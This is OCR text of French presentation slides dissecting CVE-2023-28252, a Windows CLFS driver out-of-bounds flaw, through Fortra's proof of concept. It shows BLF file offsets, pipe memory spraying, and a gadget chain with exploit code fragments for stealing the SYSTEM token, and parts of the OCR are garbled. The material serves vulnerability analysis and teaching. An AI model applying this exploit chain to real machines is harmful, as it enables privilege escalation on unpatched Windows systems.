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Introduction




A. Introduction

O O O

Un systeme de log commun a toutes les distriba’tions
de Windows : Common Log File System

Une faille dans le driver CLSF.SYS ? Ce n'est pas
étrange ! :

O  Microsoft a patché au moins 32 failles de
sécurité dans le pilote CLFS entre 2018 et 2023

Base Log File: un type de fichier log binaire
Une faille Out Of Bound Read/\Write
Un exploit de Fortra (1533 lignes)

-
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B. Vue d’ensemble
1. Historique

Kaspersky, Mandiant et
BDAppsecurity signalent

Windows patch
la faille

la CVE-2023-28252

@ revrier2022 @ Avril2023 €@ Awil2023 @ Awril2023 @ Juin 2023

La société Fortra
sort une POC pour

Nokoyama ransomware
group découvre et

Kaspersky publie des
informations Incomplétes

commence a exploiter une
zero-day en CLFS

sur la faille et promet de
revenir sur le sujet apres
le Patch

la faille

Figure 1 : Timeline "



B. Vue d’ensemble
2. Impact

O Score : 7.8/10

O L'attaquant doit étre authentifié avec un acces
utilisateur pour lancer I'exploit d'élévation de privileges

O Atteinte 3 la confidentialité des données
O Déni de service «
O Exécution de code 3 distance

O Usurpation d'identité
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C. Vulnérabilité P
2. Explication détaillée "

-

O Spray de la mémoire s

O Méthode de saturation de la mémoire pour créer une zone mémoire
d’on la structure est beaucoup moins aléatoire que normalement et
controlable par I'attaquant (bypasse : ASLR, DEP, ...)

O Pipe (C++ avec Windows) : .

O Canal de communication bidirectionnel entre deux processus. Il est
créé avec une paire de descripteurs de fichier, I'un pour la lecture et
I'autre pour l'écriture.

O Pour nous, ici, tous les pipes utilisé par la suite feront communiqué le
processus malveillant avec lui-méme.

10



C. Vulnérabilité
2. Explication détaillée

Spray de la mémoire
avec l'adresse du Creation de I'Out Of Récupération du
RecordOffsets du Bound Jeton Systéme
Trigger blf

Remplissage de la Chargement en
mémoire avec le mémoire de Trigger
PIPE A et le PIPE B blf

Remplacement du
Jeton du processus
par le Jeton Systéme

Utilisation de
fonctions "Gadgets"

Libération de Creation du pointeur Copie du Jeton dans Lancement d'une
plusieurs espaces vers une cellule du un espace memoire commande en mode
mémoire PIPE A utilisateur privilegie

Chargement des Récupération de
headers des 10 l'adresse du

fichiers Spray blf en programme Flgutez . SChéma de |a POC

meémoire malveillant




C. Vulnérabilité Le Out Of Bound : Les types de fichiers-
2. Explication détaillée

-

» This PC » Local Disk (C:) » Users » Public

Date modified

O 3 types de fichiers modifiés h N CONTAINER
O Have | Been Pwned? z‘: ; 1572023 407 A
23401,
O Vous pouvez le savoir en vérifiant la 3 3491
présence d'artefacts d'exploitation ci- ::: a0 SPRAYS’..”ESL;.
dessous : Wl
* (C:/Users/Public/.container*® ;:::
* C:/Users/Public/MyLog*.blf- 9 349161
° C:/Users/Public/p_* M\TRIGGER BLF"

v e e teperme - a—

Figure 3 : Liste des fichiers utilisés
12



C. VulnérqbiIiT§ . < Les structures de données des logs P
2. Explication detaillee

BLF (Base Log File) Format

Control Block

Control Block Shadow

Base Block

Base Block Shadow

Truncate Block »

Truncate Block Shadow

Figure 4 : Liste des blocks BLF 13



C. Vulnérabilité Les structures de données des logs

2. Explication détaillée

O Chaque block > Header entre 0x00 gtSOX?O

typedef struct _CLFS_LOG_BLOCK_HEADER

i
L

UCHAR MajorVersion; 2| MyLog.bif

=]

UCHAR MinorVersion;
UCHAR Usn;
CLFS_CLIENT_ID ClientId;
USHORT TotalSectorCount;
USHORT ValidSectorCount;
ULONG Padding;

ULONG Checksum;

ULONG Flags;

CLFS_LSN Currentlsn;
CLFS_LSN NextLsn;

ULONG RecordOffsets[16];
ULONG SignaturesOffset;

Offsec(h) 00 O

} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER; F|gure 6 y Structure Header example

Figure 5 : Structure Header 14



C. Vulnérabilité
2. Explication détaillée

O 0x18 * 6 = 0x90 octets
O Allouer par:

Les structures de données des logs

O CClfsBaseFilePersisted::Createlmage+28A pour un nouveau log

O CClfsBaseFilePersisted::Readlmage+6E pour un log existant

struct m_rgBlocks

I

L

CLFS_METADATA BLOCK blocko;
CLFS_METADATA BLOCK blockil;

CLFS METADATA BLOCK block2;

1

CLFS METADATA BLOCK block3;
CLFS_METADATA BLOCK block4a;
CLFS METADATA BLOCK blocks5;

-I_I
I

Figure 7 : Structure listes des blocks

/#ox0*/ PUCHAR pbImage;

struct CLFS METADATA BLOCK

/*0x8*/ ULONG cbImage; // es el size del bloque

/*oxc*/ ULONG cboffset; // es el offset donde comienza el bloque

/*ex10*/ CLFS_METADATA_BLOCK_TYPE eBlockType; // es el nimero de bloque

1=
I

Figure 8 : Structure metadata blocks

//es la direccidn donde se allocd el bloque

15



C. Vulnérabilité
2. Explication détaillée

O Chaque cellule pointe vers RecordOffsets[11]

O 12 cellules * 8 = 96 octets

Le\ﬂ{ay pipe de la mémoir:

typedef struct _CLFS_LOG_BLOCK_HEADER

{

} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;

ULONG RecordOffsets[16];

o1 - =
arrayCLFSkernelAddress[0] = CLFS_kernelAddrArray + 0x30;
arrayCLFSkernelAddress[1] = CLFS_kernelAddrArray + 0x30; )
arrayCLFSkernelAddress[2] = CLFS_kernelAddrArray + 0x30;
arrayCLFSkernelAddress[3] = CLFS_kernelAddrArray + 0x30;
arrayCLFSkernelAddress[U4] = CLFS_kernelAddrArray + 0x30;
arrayCLFSkernelAddress[5] = CLFS_kernelAddrArray + 0x30;
arrayCLFSkernelAddress[6] = CLFS_kernelAddrArray + 0x30;
arrayCLFSkernelAddress[7] = CLFS_kernelAddrArray + Ox30;
arrayCLFSkernelAddress[8] = CLFS_kernelAddrArray + 0x30,
arrayCLFSkernelAddress[9] = CLFS_kernelAddrArray + 0x30;

arrayCLFSkernelAddress[10] = CLFS_kernelAddrArray + 0x30;

arrayCLFSkernelAddress[11] = CLFS_kernelAddrArray + 0x30;

Figure 9 : Tableau RecordOffsets



C. Vulnérabilité Le spray pipe de la mémoire
2. Explication détaillée

O PIPE A : 0x5000 puis on libere entre [0x2000 Ox2§67]
O PIPE B : 0x4000

0x2000

Figure 11 : Spray phase 2

17



C. Vulnérabilité Le spray pipe de la mémoire
2. Explication détaillée

O Chargement des 10 fichiers de log avec CreateLogFile() .

0x0000

Figure 12 : Spray phase 3
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C. Vulnérabilité Le spray pipe de la mémoire -
2. Explication détaillée -

O Les pipes et les blocks ont tous la méme taille .

O Siaucun CLFS est bien placé la poc crash =

Pool page ffffb509659c0510 region is Nonpaged pool
ffffb509659c0000 size: ad® previous size: @ (Allocated) MpFr Process: ffffbseselfe2ocoe

UINT6Y const_10 = 10; ffffb509659c00a0 size: ad previous size: @ (Allocated) WpFr Process: ffffbseoeife2oce
UINT64 const_10b = 10, TH1fb589659c814@ size: ad previous size: @ (Allocated) HpFr Process: ffffbs0961fe2ace
HANDLE store_handles[18] = { 0 }; ffffb509659c0le0 size: a@ previous size: @ (Allocated) clfs
z = 0; ffffb509659c0280 size: ad® previous size: @ (Allocated) MpFr Process: ffffbseselfe2ocoe
do ffftb509659c0320 size: ad previous size: @ (Allocated) HMpFr Process: ffffbseoelfe2oce
509659c03c® size: ad previous size: @ (Allocate Clfs
{ b i i i 11 d 11

——const_10; Tfffb509659c0460 size: ad@ previous size: @ (Allocated) NpFr Process: ffffbsegelfezece

*ffffb509659c0500 size: a@ previous size: @ (Allocated) *Clfs
ffffb509659c05a0 size: ad® previous size: @ (Allocated) MpFr Process: ffffbseselfe2ocoe
ffftb509659c0640 size: ad previous size: @ (Allocated) MpFr Process: ffffbsegelfe2oce
if (logFile == INVALID_HANDLE_VALUE) { ffffb509659c06e0 size: ad previous size: @ (Allocated) MNpFr Process: ffffbseoclfe2oco
DWORD error = GetLastError(): iiiizm%mco‘/so size: a@ previous size: o :Aﬁocatej; Np;: Process: ffffbseoecifezace

. o N . B o " 509659c0820 size: ad@ previous size: @ (Allocate Cclfs
z:i:EFf_c:i _i) Srmle ek s MGG, e Eana, 1 ffb509659cPBcO size: ad previous size: & (Allocated) WpFr Process: ffffbse9s1fe2ace
T ! ffffb509659c0960 size: ad previous size: @ (Allocated) MNpFr Process: ffffbseoclfe2oco

| ffffb509659c0a00 size: ad previous size: @ (Allocated) Clfs
ffffb509659c0aae size: ad previous size: @ (Allocated) MpFr Process: ffffbseseife2ocoe
ffftbse9659cebae size: ad previous size: @ (Allocated) HMpFr Process: ffffbseoeife2oce
ffffbs509659coben size: ad previous size: @ (Allocated) MpFr Process: ffffbseoclfe2oce
ffffb509659c0c80 size: ad previous size: @ (Allocated) MNpFr Process: ffffbseoclfe2oco

logFile = CreatelLogFile( pszLogFiletame: stored_log_arrays[const_10],

printf(_Format: "logFile %x\n", logFile);

SRt i = ==

store_handles[z] = logFile;

z++] ffffb509659c0d20 size: ad previous size: @ (Allocated) Clfs
ffffbse9659cedce size: a@ previous size: @ (Allocated) Clfs
} while (const_10); ffffb509659c0e60 size: ad previous size: @ (Allocated) clfs

Figure 13 : Chargement 10 fichiers Spray BLF Figure 14 : Débogage Spray BLF 19



C. Vulnérabilité
2. Explication détaillée

Spray de la mémoire
avec l'adresse du Creation de I'Out Of Récupération du
RecordOffsets du Bound Jeton Systéme
Trigger blf

Remplissage de la Chargement en
mémoire avec le mémoire de Trigger
PIPE A et le PIPE B blf

Remplacement du
Jeton du processus
par le Jeton Systéme

Utilisation de
fonctions "Gadgets"

Libération de Creation du pointeur Copie du Jeton dans Lancement d'une
plusieurs espaces vers une cellule du un espace memoire commande en mode
mémoire PIPE A utilisateur privilegie

Chargement des Récupération de
headers des 10 l'adresse du

fichiers Spray blf en programme Flgutez . SChéma de |a POC

meémoire malveillant

20



C. Vulnérabilité
2. Explication

1| typedef struct _CLFS_CONTROL_RECORD
2| {
3 CLFS_METADATA_RECORD_HEADER hdrControlRecord; 7@
4 ULONGLONG ullMagicValue;
5 UCHAR Version;
6 CLFS_EXTEND_STATE eExtendState;
7 USHORT iExtendBlock;
) USHORT iFlushBlock;
9 ULONG cNewBlockSectors;
10 ULONG cExtendStartSectors;
11 ULONG cExtendSectors;
12 CLFS_TRUNCATE_CONTEXT cxTruncate;
13 USHORT cBlocks;
14 ULONG cReserved;

15 CLFS_METADATA_BLOCK rgBlocks[ANYSIZE ARRAY];
16| } CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;

Figure 15 : Structure Word



C. Vulnérabilité

o o & o &
2. Explication detaillee 1| typedef struct _CLFS_CONTROL_RECORD
spray clfs[i] - 6
oxe Control block : :
P oxi 7 USHORT iExtendBlock;
- 8 USHORT iFlushBlock;
ex7e ex2 -
= * .
T oo 16| } CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;
oxss oxa ~
oxsa ox4
ox9e ox1
ox94 ox3
ex9c ox2

X400 Control block shadow
ox484 ox2

oxesa

ex48a ox13

oxesoo pbase Block ;Efg;/
ex1898 ex65C8 cbsyblozone

ex8200 base block shadow

ox9598 ox65C8

oxfceo truncate block
oxfeoo truncate block shadow

Figure 16 : Modifications fichier Spray BLF 22



C. Vulnérabilité
2. Explication détaillée

L2 trigger clfs
41 oxsee base block

42 CLFS log Block Header(ex70)
43 I ox858 2x369 Record offsets Arrayhz] I
44 —

45 ox870 base record head
46 ex1bas other date

47 ex1DDe Ox15A0

43 ex1DD4 ox1570

49 ©x1DE® OXC1FDF@es

5@ 9x1DE4 9x30

51

52 2x8200 base block shadow
5 3 "

54 ©0x8258 2x269

55 "

Sz ex97Do Ox15A0

57 ex97D4 ex1570

58 ©X97E® OxC1FDFOes

== OX97E4 ox30

6@ OxX97F8 oxSeoeoee

61 oxfcoee trunctate block

62 exfeoo truncate block shadow !

Figure 17 : Modifications fichieré Trigger BEI'\ 23




C. Vulnérabilité Le Out Of Bound : L'exécution-

OO0 000

2. Explication détaillée

CreateLogFile > WriteMetadataBlock s S
rsi = iFlushBlock = 0x13 O rsi = iFlushBlock = 0x4 B
r§ = 0x13 * (2 + 1) * 8 = ptr(Ox1c8) O r8=0x4*(2+1)*8= ptr(Oxé'B')f
Taille > 0x90 > OOB O Taille < 0x90 > OK q

r14 finit par pointer sur les données apres le header

3 _ try { /7 _ Tinally(_fClfsBasefFilePersisted WriteMetadataBlock___ 1 fin$e)
CClfsBaseFilePersisted: :WriteMetadataBlock+s2 rlid, esi
C(ClfsBaseFilePersisted: :WriteMetadataBlock+55 rcx, ds:@[rsi*2)
(ClfsBaseFilePersisted: :WriteMetadataBlock+SD rcx, rsi

CClfsBaseFilePersisted: :WriteMetadataBlock+68 r8, ds:8[rcx*8

CClfsBasefilePersisted: :WriteMetadataBlock+6C ri4, [r8+rox]
CClfzsBazeFilePersisted: :WriteMetadataBlock+78 A rep+E8h+pointer

CClfsBaseFilePersisted: :WriteMetadataBlock+78 short loc_FFFFFBBS55222DFFA

Figure 18 : Débogage WriteMetadataBlock phase 1 24



C. Vulnérabilité Le Out Of Bound : L’exécyion/
2. Explication détaillée

O Pointeur vers le Base block du fichier trigger est corrompu
O Lincrément est fait 4 fois : ptr(ptr(trigger blf + 0x30) + 0x369)++ >
O La valeur de ptr(trigger bif + 0x399) passe de 0x1458 a 0x1858

CClfsBaseFilePersisted: :NriteMetadataBlock+8A

CClfsBasefilePersisted: :NriteMetadataBlock+8A loc_FFFFFBOSTAB2DFFA:

CClfsBaseFilePersisted: :NriteMetadataBlock+8A mov ri2db, 1

CClfsBaseFilePersisted: :hriteMetadataBlock+8D mov [rspeBBhevar_58), ri2b

CClfsBaseFilePersisted: :NriteMetadataBlock+92 mov eax, [rld+28h ; Base block + Ox30+ 9x28 de trigger blf « Ox369

o=

CClfsBaseFilePersisted: :NriteMetadataBlock+9A r9, [roaxsrld] [rl14+28h)-000000000 t@
CClfsBaseFilePersisted: :NriteMetadataBlock+9E r9d, 1
CClfsBaseFilePersisted: :NriteMetadataBlock+A2 rdx, [rdisstruct_CClfsBasefilePersisted.plClfsBaseFile.m_rgBlocks]
CClfsBaseFilePersisted: :NriteMetadataBlock+AS short loc_FFFFF8OS7AB2EQ2F

Figure 19 : Débogage WriteMetadataBlock phase 2
25



C. Vulnérabilité Le Out Of Bound : L’exécutigp/
2. Explication détaillée

O CreatelLogFile sur Trigger blf > CheckSecureAccess .
O Lecture de la valeur corrompue pointé par 0x1858 (au lieu de 0x1458)

O GetSymbol vérifie que le block est valide (chargement du block)

"

CClfsBaseFilePersisted: :CheckSecureAccess+11F mov eax, esi CClfsBaseFilePersisted: :CheckSe
heckSe > 13- CClfsBaseFilePersisted: : CheckSe:

CClfsBaseFilePersisted: :CheckSecureAccess+128 test edx, edx CClfsBaseFilePersisted: :CheckSe«

CClfsBaseFilePersisted: :CheckSecureAccess+12A jz loc_FFFFFB8@57AB2F399 rockrsi*a+328h =9090990969981358j::§:§:'

BaseFilePersisted: :CheckSecureAccess+135 mov r8d, esi ; unsigned int
BaseFilePersisted: :CheckSecureAccess+138 mov rex, rla ; this
BaseFilePersisted: :CheckSecureAccess+138 call CClfsBaseFile: :GetSymbol
BaseFilePersisted: :CheckSecureAccess+148@ mov ebx, eax

BaseFilePersisted: :CheckSecureAccess+142 mov [rsp+@B8h+var_78], eax
BaseFilePersisted: :CheckSecureAccess+146 test eax, eax

BaseFilePersisted: :CheckSecureAccess+148 js loc_FFFFFB8B57AB2F38F

Figure 20 : Débogage CheckSecureAccess phase 1 -



C. Vulnérabilité Le Out Of Bound : L'exécution-
2. Explication détaillée

O Le faux block contient I'adresse mémoire 0x5000000 (little endian)

trigger clfs

Bxaa base block

CLF5 log Block Header(ex7a)

BxE5E Bx36a Record offsets Array[12]

exs7e base record head

gx1bas other date

ex1nDe ax1cA8

ex1DDg ax157ae

ex1DER AxC1FDFa8s

ex1DES ax3a

ex1DFa axsaaacasd -

WINDBG>db ffffcb82'091e7000+70+1858 //fake block
ffffcbg2'091e88c8 08 fo fd c1 30 00 00 00-00 00 00 00 00 00 00 00 .
ffffcb82'091e88d8 00 00 00 00 00 00 00 00-00 00 00 05 00 00 00 00 00
ffffcb82'091e88e8 00 00 00 00 00 00 00 00-00 00 0O 00 00 0O 00 00 00

WINDBG>db ffffcb82'091e7000+70+1458 //correct block
ffffcbg2'091e88c8 08 fo fd c¢1 30 00 00 00-00 00 0O 00 00 00 00 00 .
ffffcb22'091e88d2 00 00 00 00 00 0O 00 0O-R0 71 64 04 82 cb {1+ 1

Figure 21 : Comparaison Correct Block et Fake Block 27



C. Vulnérabilité Le Out Of Bound : L’exécutjy
2. Explication détaillée

-

O rax = rcx = 0x1858 + 0x18 = 0x5000000 2 .

O Saut sur I'adresse contrdlé par I'attaquant =

CClfsBaseFilePersisted: :CheckSecureAccess+14E mov rsp+@88hevar 48

CClfsBaseFilePersisted: :CheckSecureAccess+157 test rex, rex
CClfsBaseFilePersisted: :CheckSecureAccess+15A j:z loc_FFFFFBOSZ, {rax+18h ) =000000005000000

ClesBaseFilePersisted :CheckSecureAccess+16@
oc_FFFFF8057AB2F398: CClfsBaserilePersisted: :CheckSecureAccess+163
eax, [rax+24h]
sl, 25h CClfsBaseFilePersisted: :CheckSecureAccess+168 mov rax, [rax]
short loc_FFFFFB057AB2F338) |CClfsBaseFilePersisted: :CheckSecureAccess+16E call cs:__guard_dispatch_id
Cclfseasefilepersisted CheckSccurencces'+174 lea r9 (rsp+o 3=wo ar 74]

Figure 22 : Debogage CheckSecureAccess phase 2 28



C. Vulnérabilité Le Out Of Bound : Récap-
2. Explication détaillée

Creation du iFlushBlock =
trigger BLF Ox13

GetSymbol it
le block a
0x1858

rB=0x13*(2+1)*8= |
ptr(Ox1c8)

0x1c8 > 0x90 => QOB | :

increment 4x du

mauvais pointeur |

Récupération Récupération
du mauvais de l'adresse
block 0x5000000

Saut sur l'adresse
utilisateur Ox5000000

Figure 23 : Récapitulatif Out of Bound 29



C. Vulnérabilité
2. Explication détaillée

Spray de la mémoire
avec l'adresse du Creation de I'Out Of Récupération du
RecordOffsets du Bound Jeton Systéme
Trigger blf

Remplissage de la Chargement en
mémoire avec le mémoire de Trigger
PIPE A et le PIPE B blf

Remplacement du
Jeton du processus
par le Jeton Systéme

Utilisation de
fonctions "Gadgets"

Libération de Creation du pointeur Copie du Jeton dans Lancement d'une
plusieurs espaces vers une cellule du un espace memoire commande en mode
mémoire PIPE A utilisateur privilegie

Chargement des Récupération de
headers des 10 l'adresse du

fichiers Spray blf en programme Flgutez . SChéma de |a POC

meémoire malveillant

30



C. Vulnérabilité Extraction du Jeton Systéy
2. Explication détaillée

>

O Utilisation de plusieurs fonctions « Gadgets »

O Eléments de code ou séquences d'instructions qui
utilisent le code d’applications bienveillantes de maniére
malveillante pour exploiter une vulnérabilité

31



C. Vulnérabilité ~
2. Explication détaillée

*(UINT6U*)Ox50000U0 = ©x5000000;

*(UINT6U*)Ox5000000 = ©x5001000;

*(UINT6U*)0x5001000 = fnClfsEarlierlsn;
*(UINT6U*)Ox5001008 = fnPoFxProcessorNotification;
*(UINT6U*)Ox5001010 = fnClfsEarlierlsn;
*(UINT6U*)Ox5001018 = fnClfsEarlierlsn;
*(UINT6U*)Ox5001020 = fnClfsEarlierlsn;
*(UINT6U*)Ox5001028 = fnClfsEarlierlsn;
*(UINT6U*)0Ox5001030 = fnClfsEarlierlsn;
*(UINT6U*)0x5001038 = fnClfsEarlierlsn;
*(UINT6U*)0x50010U0 = fnClfsEarlierlsn;
*(UINT6U*)0x5000068 = fnClfsMgmtDeregisterManagedClient;
*(UINT6U*)Ox50000U8 = Ox5000400;

*(UINT6U*)Ox5000400 = Ox5001300;

*(UINT6U*)Ox5000U4U8 = para_PipeAttributeobjInkernel + 0x18;
*(UINT6U*)0Ox5001328 = fnClfsEarlierlsn;
*(UINT6U*)0Ox5001308 = fnSeSetAccessStateGenericMapping;

Figure 24 : Code malv/eiLlar(e;cuté <




» ege » /
C. Vulnérabilité

2. Explication détaillée

(O PoFxProcessorNotification de ntc
O Si: Entre rcx et rex + 40 il n'y pas de vale

O Alors : Saut sur ptr(rcx + 0x68) avec un argument

*(UINT6U*)Ox5000040 =
*(UINT6U*)Ox5000000 =

*(UINT6U*)Ox5001000
*(UINT6U*)Ox5001008
*(UINT6U*)0x5001010
*(UINT64*)0x5001018
*(UINT6U*)Ox5001020
*x(UINT6U*)Ox5001028
*(UINT6U*)Ox5001030
*(UINT6U*)Ox5001038
*(UINT6U*)Ox5001040
*(UINT6U*)Ox5000068
*(UINT6U*)Ox5000048

rnl.exe

0x5000000;
0x5001000;
fnClfsEarlierlsn;
fnPoFxProcessorNotification;
fnClfsEarlierlsn;
fnClfsEarlierlsn;
fnClfsEarlierlsn;
fnClfsEarlierlsn;
fnClfsEarlierlsn;
fnClfsEarlierlsn;
fnClfsEarlierlsn;
fnClfsMgmtDeregisterManagedClient;
Ox5000460 ;

33
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C. Vulnérabilité

2. Explication détaillée

O PoFxProcessorNotification de ntoskrnl.exe

PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification+4
PoFxProcessorNotification+8
PoFxProcessorNotification+B

; Exported entry 1783. PoFxProcessorNotification

public PoFxProcessorNotification
PoFxProcessorNotificatien proc near

NCTION CHUNK

loc_14@4FF6D2

PoFxProcessorNotification+123322
PoFxProcessorNotification+123322
PoFxProcessorNotification+123
PoFxProcessorNotification+12332]
PoFxProcessorNotification+123 rax, rax
PoFxProcessorfotification+123329 loc_1483DC3C1

PoFxProcessorNotification+1l
PoFxProcessorNotification+11
PoFxProcessorNotification+11

PoFxPrecessorNotification+1233
loc_1483DC3C1: PoFxProcessorNotification+1233
mov eax, BCAGEEEE2h| |PoFxProcessorNotification+123338

PoFxProcessorfotification+12333A

PoFxProcessorNotification+12333C

PoFxProcessorNotification+12333€

PoFxProcessorNotification+123343

PoFxProcessorNotification+123343 ;

Extraction du Jeton Systeme

eax, ©CPOBABBBh
loc_1483DC3C6
CHUNK

PoFxProcessorNotification

Figure 25 : Code fonction PoFxProcessorNaotification
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C. Vulnérabili1§ . < Extraction du Jeton Systéme/
2. Explication detaillee

-
. -

O ClfsMgmtDeregisterManagedClient de CLFS.SYS

O Appelle deux fonctions avec des arguments

O On contréle tout > Tres pratique
.lesﬁg-toeregisterHanagedCllent+16 .
ClfsMgmtDeregisterManagedClient+16 loc FFFFF8057A82BFC6
ClfsMgmtDeregisterManagedClient+l6 ; _ try { // fxnally(clfswgmtoeregxster1anagedclxent$f1n$e)
lesMgntDercgistcrHanagedClient+16 mo 0 s - or
C1szgntDeregiﬁterHanagedClient+2$ = [rax+L8h]
ClfsMgmtDeregisterManagedClient+29 edx
ClfsMgmtDeregisterManagedClient+28 ; rbx
ClfsMgmtDeregisterManagedClient+2E : guard dispatch icall fptr
ClfsMgmtDeregisterManagedClient+34 - : : od

ClfsMgmtDeregisterManagedClient+36 | mov rex, [rbx]
ClfsMgmtDeregisterManagedClient+39 | mov rax, [rcx+8]
ClfsMgmtDeregisterManagedClient+3D | mov rcx, rbx
ClfsMgmtDeregisterManagedClient+40 | call cs:__guard_dispatch_icall fptr
ClfsMgmtDeregisterManagedClient+46 -

ClfsMgmtDeregisterManagedClient+46 ; } // starts at FFFFF8@57AB2BFCS

Figure 26 : Code ClfsMgmtDeregisterManagedClient en assembleur 55



C. Vulnérabilité
2. Explication détaillée

O ClfsMgmtDeregisterManagedClient de CLFS.SYS

Extraction du Jeton Systeme

O Fait les appels dans la zone du kernel avec les interruptions masquées

O Appelle les fonctions :
O ClfsEarlierLsn

O SeSetAccessStateGenericMap

unsigned int v2; // edi

if( !11)
return 3221225485i64;

KeEnterCriticalRegion();

2 = (*(_int64 (_ fastcall **)(__int64, OQWORD))(*(_QWORD *)al + @x28i64))(a1, @i64);// ClfstarlierLsn

(*(void (__fastcall ")i__intéi))(‘(guh;R;

KeLeaveCriticalRegion();
return v2;

*)al

4 \
T &

+ 8i64))(al);// SeSetAccessStateGenericMap

Figure 27 : Code ClfsMgmtDeregisterManagedClient en c 36



C. Vulnérabilité
2. Explication détaillée

O ClfsEarlierLsn de CLFS.SYS
O Permet de faire pointer rdx vers OXFFFFFFFF

QO (Equivalent a rdx = OXFFFFFFFF)

Extraction du Jeton Systémg/

; Exported entry 18. ClfsEarlierLsn

public ClfsEarlierLsn
ClfsEarlierLsn proc near

arg_@= gword ptr 8

rax, ¢s:CLFS_LSN_INVALID

rex, rex
short locret_1C@012EF2

rcx, rax
short locret_1C@012EF2

[rsp+arg_0], rcx

ecx, edx

dword ptr [rsp+arg 0], ecx
ecx, edx

short loc_1C@@12EED

ecx, dword ptr [rsp+arg_0+4]
ecx, ecx
short locret_1C@012EF2

Figure 28 : Code ClfsEarlierLsn
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C. Vulnérabilité Extraction du Jeton Systeme
2. Explication détaillée /

O SeSetAccessStateGenericMap NtosKrnl.exe ] S >

e

O Déréférence rdx (OXFFFFFFFF) et copie la valeur dans ptr(rdx + 0x8)~~

O (C’est la lecture arbitraire en mémoire)

Seule fonction, utilisée ici, documentée par Windows oot
The SeSetAccessStateGenericMapping routine sets the generic mapping field of an ACCESS_STATE
structure. /
Syntax
G [y Copy

seSetAccessStateGenericMapping(
[in, out] PACCESS STATE AccessState,
[in] PGEHMERIC MAPPING GenericMapping

)5

Figure 29 : Documentation Windows SeSetAccessStateGenericMapping 38



C. Vulnérabilité Extraction du Jeton Systeme -
2. Explication détaillée

nt!SeSetAccessStateGenericMapping:

FEL££8037701d0a%90 488b4148 rax,gword ptr [rcx+48h]

fEE£££803°701d0a94 0£1002 movups

f££££803°701d0a97 £30£7£4008

fff££803°701d0a%c c3

1: kd> db rax-0x18 1 > object
fEf££fd08b " 52fff000 70 e2 6b 57 8b d0 ff ff-70 e2 6b 57 8b

ff££fd08b 52££f010 28 f0 ff 52 8b d0 ff ff-dé Of 00

'--—

f£££d08b " 52£££020 —'S'a 41
fE£dO8D S52£££030 41 41 41 41 41 41 41-41 41 41

ffffdO8b 52fff040 41 41 41 41 41 41 41 41-41 41 41 41 41 AAAAAAAAAAAAAAAA
fEEfdO8b 52£££050 41 41 41 41 41 41 41 41-41 41 41 41 AAAAAARAAARAAARA
ffffdO8b 52fff060 41 41 41 41 41 41 41 41-41 ! 41 AAAAAAAAAAAAAAAA
fEEFAOSDL 52F££070 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAARA
1: kd> dp rdx

00000000 ffffFfff EEFFSEESIEARET000 11414141° 411lunbd
00000001 °0000000f 00000000 00000000 00000000 00000000

AttributeValue

addr_ EPROCESS_System & Oxffffffffffff£000

Figure 30 : Débogage SeSetAccessStateGenericMapping
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C. Vulnérabilité
2. Explication dé

(O para PipeAttributeobjlnkernel =

170 memset( _pst: (UINT6Ux)temp_chunk + 1, _val: Ox41, _size: Oxffe);

171 *(UINT64*)temp_chunk = Ox5a; // "Z"

172

173 dest = malloc( _size: ©x100);

174

175 if (dest == @) { exit( _code: 0); }

176

177 memset( _pst: dest, _val: Ox42, _size: Oxff);

178

179 temp_alloc_2 = (DWORD*)VirtualAlloc(lpAddress: ©, duSize: Ox1000, flAllocationType: ©x1000, FlProtect: U);
180

181 _NtFsControlFile(hPipeWirite, ©@, @, 0, &status_block, 0x11003c, temp_chunk, Oxfd8, dest, 0x100);
182

183 fnNtQuerySystemInformation(SystemBigPoolInformation, temp_alloc_2, 0x1000, &ret'l.en2);|

Figure 31 : Allocation du buffer de rép

int const_0Ox5a = O0x5a;
_NtFsControlFile(hPipeWrite, 0, 08, ©, &status_block, ©x110038, &const_0x5a, 2, temp_chunk, 0x2000);

pos_token = (unsigned int)system_EPROCESS_low + (unsigned int)token_offset;
//printf("pos_token: %x\n", pos_token);

System_token_value2 = *(UINT6U*)((UINT6U)pos_token + (UINT6U)temp_chunk);



C. Vulnérabilité
2. Explication détaillée

*(UINT6L*)0x50000L0
*(UINT6L*)0x5000000
*(UINT6U*)0x5001000
*(UINT6L*)0Ox5001008
*(UINT6U*)0x5001010
*(UINT6U*)0x5001018
*(UINT6L*)0x5001020

0x5000000;

0x5001000;

fnClfsEarlierlsn;
fnPoFxProcessorNotification;
fnClfsEarlierlsn;
fnClfsEarlierlsn;
fnClfsEarlierlsn;

*(UINT6LU*)0x5001028
*(UINT6L*)0x5001030
*(UINT6U*)0x5001038
*(UINT6U*)0x5001040
*(UINT6U*)0x5000068
*(UINT6L*)Ox50000L8
*(UINT6L*)0x5000400
*(UINT6L*)Ox5000LUL8
*(UINT6L*)0x5001328
*(UINT6U*)0x5001308

Un schéma pour tenter d’étre un peu plus clair

0x5000400 + 0x48 = system_EPROCESS & Oxfffffffffffff000

(0x5000448 = para_PipeAttributeobjinkernel + 0x18)

OOB saut sur

l'adresse
0x5000000

RDX=0xFFFFFFFF
(OxFFFFFFFF = system_EPROCESS &

OXFfiitf000)

._m 0X5001300 + 0x28
SeSetAccessStateGenericMap 0x5001300 + 0x8

Extraction du Jeton Systé&

fnClfsEarlierlsn;

fnClfsEarlierlsn;

fnClfsEarlierlsn;

fnClfsEarlierlsn;
fnClfsMgmtDeregisterManagedClient;
0x5000400;

0x5001300;
para_PipeAttributeobjInkernel + 0x18;
fnClfsEarlierlsn;
fnSeSetAccessStateGenericMapping;

001
0x50001000 ClfsEarlierLsn 0x50001008 PoFxProcessorNotification
-

890000SX0

e

-~

ClfsMgmtDeregisterManagedClient

Paramétre : 0x5000048 = 0x5000400

(0x5000400 = 0x5001300)

Figure 33 : Schéma exécution code malveillant
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C. Vulnérabilité
2. Explication détaillée

Spray de la mémoire
avec l'adresse du Creation de I'Out Of Récupération du
RecordOffsets du Bound Jeton Systéme
Trigger blf

Remplissage de la Chargement en
mémoire avec le mémoire de Trigger
PIPE A et le PIPE B blf

Remplacement du
